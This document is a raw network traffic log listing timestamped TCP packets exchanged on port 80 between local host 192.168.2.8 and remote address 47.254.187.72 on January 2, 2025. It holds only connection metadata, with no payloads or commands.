Jan 2, 2025 20:20:03.726861000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.726880074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.742921114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.742934942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.742955923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.742968082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.742976904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.742986917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743000031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743010998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.743012905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743043900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.743072033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.743748903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743870020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.743880987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743891954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743901968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743922949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743932962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743952036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743964911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743968010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.743968010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.743987083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.743988991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744002104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744021893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744033098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744051933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744051933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744056940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744064093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744070053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744082928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744102001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744117022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744121075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744127035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744141102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744148970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744162083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744165897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744173050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744185925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744194984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744199038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744211912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744221926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744235992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744254112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744267941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744334936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744376898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744390965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744436979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744441032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744455099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744467020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744481087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.744491100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744491100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.744518995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747461081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747481108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747493029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747524023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747544050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747550964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747555971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747567892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747598886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747626066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747643948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747658014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747663021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747663021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747673988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747689009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747704983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747719049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747719049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747730970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747735977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747750998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747754097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747783899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747796059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747805119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747805119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747819901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747836113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747854948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747869968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747869968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747879982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747895956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747898102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747911930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747911930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747927904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747941971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747955084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747960091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747960091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747960091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747980118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.747982025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747997046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.747999907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748013020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748030901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748037100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748053074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748056889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748056889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748068094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748085022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748097897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748097897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748106956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748119116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748125076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748125076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748131037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748143911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748145103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748166084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748178959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748189926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748197079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748197079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748204947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748218060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748229980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748230934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748245001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748256922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748265028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748265028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748265028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748311043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748312950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748326063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748338938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748351097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748363972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748375893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748382092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748382092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748398066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748409986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748414993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748423100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748441935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748444080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748456001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748469114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748481035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748486996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748486996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748492956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748506069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748519897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748528957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748534918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748554945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748567104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748574018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748574018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748584986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748600006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748603106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748603106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748611927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748624086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748636007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748648882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748660088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748660088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748661041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748676062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.748733044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748733044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.748733044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.817354918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817368031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817389011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817400932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817413092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817423105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.817426920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817450047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.817475080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.817512989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.817681074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817737103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.817822933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.833523035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833571911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833583117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833594084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833621979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833636045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833647013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833658934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.833662033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.833715916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.833715916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834556103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834575891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834588051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834599018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834614038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834625006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834628105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834639072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834650993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834659100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834665060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834676027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834678888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834681034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834690094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834712982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834724903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834738970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834742069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834742069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834767103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834772110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834785938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834799051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834806919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834806919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834820032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834826946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834834099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834846973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834853888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834861994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.834886074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834886074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.834929943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.835066080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835077047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835089922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835095882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835108995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835118055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.835123062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835138083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835150957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.835170031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.835170031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.835247040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838108063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838119984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838171959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838264942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838279009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838291883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838303089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838315010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838325977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838331938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838331938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838350058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838361979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838370085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838376045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838388920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838397980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838402987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838414907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838423014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838428020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838444948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838457108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838521957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838717937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838738918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838758945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838773012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838777065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838787079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838790894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838799953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838808060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838814020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838825941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838835001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838840961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838848114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838861942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838897943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838897943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.838942051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838953972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838964939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838977098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.838989973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839001894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839008093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839015007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839027882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839027882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839040041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839042902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839062929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839068890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839076996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839082956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839090109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839102030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839114904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839128971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839140892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839148045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839154959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839168072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839179039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839191914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839209080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839209080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839215994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839225054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839237928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839251041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839262009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839263916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839272976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839284897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839298964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839307070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839307070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839323044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839330912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839344025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839355946 CET	80	49704	47.254.187.72	192.168.2.8
